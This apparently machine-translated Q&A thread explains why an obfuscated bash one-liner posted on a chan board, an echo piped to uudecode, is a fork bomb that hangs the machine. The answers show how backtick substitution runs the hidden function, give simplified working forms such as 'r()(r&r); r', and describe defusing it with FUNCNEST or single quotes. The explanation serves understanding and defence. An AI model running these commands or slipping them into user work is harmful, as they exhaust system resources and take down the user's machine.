Как и почему эта строка текста является бомбой?
Найдено на случайной доске чан:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Каким-то образом выполнение этого приводит к бесконечно нерестящемуся процессу, который разгорается и останавливает машину. Я вижу кое-что о том, как "Су" пытались казнить много раз.
... что странно, потому что я просто ожидал, что будет выводиться текст, а не выполнение чего-либо.
Запуск этого текста через онлайн-декодер просто дает мне партию двоичного выброса:
Что на самом деле делает этот беспорядок текста, и есть ли способ "безопасно" его просмотреть?
3 ответа
Сначала давайте посмотрим на всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Он содержит строку в двойных кавычках, которая отображается uudecode
, Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках. Эта строка исполняется. Строка:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Если мы посмотрим на то, что в нем, мы увидим три команды:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Выполняя раскладку по средней команде, мы имеем:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.
Важна вторая строка: она определяет функцию r
который при запуске запускает две копии самого себя. Каждая из этих копий, конечно, запустит еще две копии. И так далее.
Третья строка проходит r
Запуская вилочную бомбу.
Остальная часть кода, за пределами строки в кавычках, просто бессмысленна для запутывания.
Как выполнить команду безопасно
Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью Bash's FUNCNEST
переменная. Здесь мы установили его 2
и это останавливает рекурсию:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Приведенные выше сообщения об ошибках показывают, что (а) бессмысленные команды rYWdl
а также Y29j
не найдены, (б) FUNCNEST неоднократно останавливается, и (в) вывод echo
не начинается с begin
и, следовательно, не является действительным входом для uudecode
,
Вилочная бомба в простейшем виде
Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:
echo "`r()(r&r);r`"
Мы можем упростить это еще дальше:
r()(r&r); r
Это состоит из двух утверждений: одно определяет функцию fork-bomb r
а второй бежит r
,
Весь другой код, включая канал uudecode
Был там только для омрачения и неправильного направления.
Первоначальная форма имела еще один слой неверного направления
ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел так:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Обратите внимание на один из первых комментариев об этом коде:
Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбу
В форме на доске объявлений можно наивно думать, что проблема будет eval
Оператор работает на выходе uudecode
, Это заставило бы думать, что удаление eval
решит проблему. Как мы видели выше, это ложно и опасно.
Чтобы ответить на вторую часть вашего вопроса:
... есть ли способ "безопасно" просмотреть его?
Чтобы разрядить эту строку, замените внешние двойные кавычки одинарными кавычками и избегайте одинарных кавычек, встречающихся внутри строки. Таким образом, оболочка не будет выполнять какой-либо код, и вы фактически передаете все прямо uudecode
:
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Другие альтернативы отмечены в комментариях:
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Джейкоб Кралл предложил использовать текстовый редактор, вставить содержимое, а затем передать этот файл в uudecode.
На первый взгляд вы можете подумать, что вывод в оболочку никогда не будет выполнен. Это все еще правда. Проблема уже во входе. Основным трюком здесь является то, что программисты называют приоритетом операторов. Это порядок, в котором оболочка пытается обработать ваш ввод:
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
- Составьте строку, выполнив все команды backticks внутри нее.
- Обычно это неизвестная команда, которая может привести к некоторому выводу, например, если 'rYWdl' не является опечаткой, вы можете использовать команду not-found для поиска пакета, в котором она содержится… (зависит от системы)
- Выполняет 2. в фоновом режиме. Вы никогда не увидите выход.
- Определите функцию вилочной бомбы.
- Разделитель команд.
- Запустите вилочную бомбу.
- Вставьте результат 6. в строку. (Мы никогда не приезжаем сюда.)
Ошибка в том, чтобы думать, что echo
будет первой командой, которая будет выполнена, uudecode
второй. Оба из них никогда не будут достигнуты.
Вывод: двойные кавычки всегда опасны на оболочке.